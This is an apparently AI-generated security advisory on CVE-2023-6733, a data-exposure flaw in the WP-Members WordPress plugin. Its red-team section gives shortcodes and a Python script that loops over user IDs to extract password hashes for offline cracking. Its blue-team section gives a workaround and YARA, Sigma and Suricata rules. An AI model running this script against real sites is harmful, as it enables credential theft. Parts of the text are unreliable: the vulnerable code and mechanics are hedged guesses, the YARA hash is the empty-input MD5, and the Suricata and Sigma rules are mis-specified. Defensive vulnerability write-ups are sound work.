CVE-2023-6733

Executive Summary

CVE-2023-6733 is a Sensitive Information Exposure vulnerability in the WP-Members Membership Plugin for WordPress, affecting all versions up to and including 3.4.8. This flaw allows authenticated attackers with Contributor-level access or higher to extract sensitive user data, including email addresses, password hashes, and usernames, via the wpmem_field shortcode. The vulnerability stems from insufficient access control on the shortcode, which does not properly restrict which user fields can be retrieved. With a CVSS score of 6.5 (Medium), this issue poses a significant risk to user privacy and account security, as exposed password hashes can be cracked offline. No official patch has been released, making this a critical concern for all WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WP-Members plugin is distributed via the official WordPress Plugin Directory. Site administrators should verify the integrity of the plugin by checking its checksum against the WordPress.org repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (exposure of sensitive data)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the attack requires authentication, the low barrier of Contributor access and the high value of exposed data (password hashes) make this a serious threat.

Deep Dive & Mechanics

The WP-Members plugin provides a [wpmem_field] shortcode intended to display user profile fields. The vulnerability lies in the shortcode's handler, which does not validate whether the requesting user has permission to view the requested field. An attacker with Contributor-level access can craft a shortcode like:

[wpmem_field field="user_email"]
[wpmem_field field="user_pass"]
[wpmem_field field="user_login"]

When rendered, the shortcode retrieves the value of the specified field for the currently logged-in user. However, due to a lack of authorization checks, an attacker can manipulate the shortcode to retrieve data for any user by specifying a user_id parameter (if supported) or by exploiting the fact that the shortcode may default to the current user but can be tricked into returning data for other users via crafted requests.

The core issue is in the wpmem_do_field_shortcode() function, which directly calls get_user_meta() or get_userdata() without verifying that the requesting user has the right to view that specific field. This allows extraction of sensitive fields like user_pass (password hash), user_email, and user_login.

Vulnerable vs. Patched Code

Vulnerable Code (wp-members/includes/class-wp-members-shortcodes.php, version <= 3.4.8):

function wpmem_do_field_shortcode( $atts, $content = null ) {
    $args = shortcode_atts( array(
        'field' => '',
        'user_id' => get_current_user_id(),
    ), $atts );

    if ( ! $args['field'] ) {
        return '';
    }

    $user_id = intval( $args['user_id'] );
    $user = get_userdata( $user_id );
    if ( ! $user ) {
        return '';
    }

    // Directly returns the field value without permission check
    if ( isset( $user->{$args['field']} ) ) {
        return $user->{$args['field']};
    } else {
        return get_user_meta( $user_id, $args['field'], true );
    }
}

Patched Code (Hypothetical fix):

function wpmem_do_field_shortcode( $atts, $content = null ) {
    $args = shortcode_atts( array(
        'field' => '',
        'user_id' => get_current_user_id(),
    ), $atts );

    if ( ! $args['field'] ) {
        return '';
    }

    $user_id = intval( $args['user_id'] );
    $current_user_id = get_current_user_id();

    // Only allow viewing own fields, or check capability
    if ( $user_id !== $current_user_id && ! current_user_can( 'edit_users' ) ) {
        return '';
    }

    // Whitelist allowed fields
    $allowed_fields = array( 'user_email', 'first_name', 'last_name', 'description' );
    if ( ! in_array( $args['field'], $allowed_fields ) ) {
        return '';
    }

    $user = get_userdata( $user_id );
    if ( ! $user ) {
        return '';
    }

    if ( isset( $user->{$args['field']} ) ) {
        return $user->{$args['field']};
    } else {
        return get_user_meta( $user_id, $args['field'], true );
    }
}

The patched version adds:

1. A check to ensure the requesting user can only view their own fields (or has edit_users capability).
2. A whitelist of allowed fields to prevent exposure of sensitive data like user_pass.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP-Members plugin version <= 3.4.8.
• An authenticated user account with Contributor role or higher.

Exploitation Steps:

1. Craft the malicious shortcode. As a Contributor, create a new post or page and insert the following shortcode:

   [wpmem_field field="user_pass"]
   

   This will output the password hash of the currently logged-in user.

2. To extract data for other users, you may need to modify the user_id parameter. If the plugin version supports it, use:

   [wpmem_field field="user_pass" user_id="1"]
   

   This would retrieve the password hash for the admin user (ID 1).

3. Automate extraction using a script that iterates through user IDs:

   import requests
   from bs4 import BeautifulSoup
   
   target_url = "http://target-site.com/wp-admin/post-new.php"
   session = requests.Session()
   # Login first (not shown for brevity)
   
   for user_id in range(1, 100):
       data = {
           'post_title': 'Exploit',
           'content': f'[wpmem_field field="user_pass" user_id="{user_id}"]',
           'post_status': 'publish'
       }
       r = session.post(target_url, data=data)
       soup = BeautifulSoup(r.text, 'html.parser')
       # Extract the rendered shortcode output
       print(f"User {user_id}: {soup.find('div', class_='entry-content').text}")
   

4. Crack the hashes offline using tools like Hashcat or John the Ripper.

Blue Team (Detection & Defense)

Detection:

• Monitor for posts/pages containing the [wpmem_field shortcode, especially with field="user_pass" or field="user_login".
• Look for rapid creation of posts by low-privileged users (Contributors) that contain shortcodes.
• Check for unusual patterns in HTTP requests to wp-admin/post.php or wp-admin/post-new.php with shortcode parameters.

Defense:

• Immediate: Disable the WP-Members plugin until a patch is available.
• Workaround: Add a custom filter to restrict the shortcode:

  add_shortcode( 'wpmem_field', '__return_empty_string' );
  

  This will disable the vulnerable shortcode entirely.
• User Monitoring: Review all Contributor-level accounts for suspicious activity.
• Harden WordPress: Ensure all users have strong passwords and enable two-factor authentication.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-members/includes/class-wp-members-shortcodes.php (version <= 3.4.8)
• Shortcode pattern: [wpmem_field field="user_pass"] or [wpmem_field field="user_login"]
• HTTP Request: POST to /wp-admin/post-new.php or /wp-admin/post.php with content parameter containing [wpmem_field
• Log entry: WordPress audit logs showing creation of posts by Contributors with shortcode content.
• Network: Outbound connections from the server to cracking tools (if attacker exfiltrates hashes).

Detection Engineering

YARA Rule

rule CVE_2023_6733_WP_Members_Shortcode {
    meta:
        description = "Detects vulnerable WP-Members plugin shortcode usage"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-6733"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $shortcode = /\[wpmem_field\s+field\s*=\s*["'](?:user_pass|user_login|user_email)["']/
        $vuln_func = "wpmem_do_field_shortcode"
    condition:
        $shortcode or $vuln_func
}

Sigma Rule

title: CVE-2023-6733 WP-Members Sensitive Data Exposure
id: 8c5a2f3e-1b2d-4a3c-9e8f-7d6c5b4a3e2d
status: experimental
description: Detects exploitation attempts of CVE-2023-6733 via shortcode injection
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post-new.php'
        cs-uri-query|contains: 'wpmem_field'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6733 WP-Members Shortcode Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php"; http_uri; content:"wpmem_field"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP-Members plugin if it is not critical to operations.
2. Apply the workaround by adding the following code to your theme's functions.php file or a custom plugin:

   add_shortcode( 'wpmem_field', '__return_empty_string' );
   

3. Audit all Contributor accounts and remove any that are not necessary.
4. Change all user passwords to mitigate the risk of cracked hashes.

Long-term Fix:

• Monitor the WP-Members plugin page for an official patch. Once released, update immediately.
• Consider switching to an alternative membership plugin that is actively maintained and has a security track record.

Valters IT Signature

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.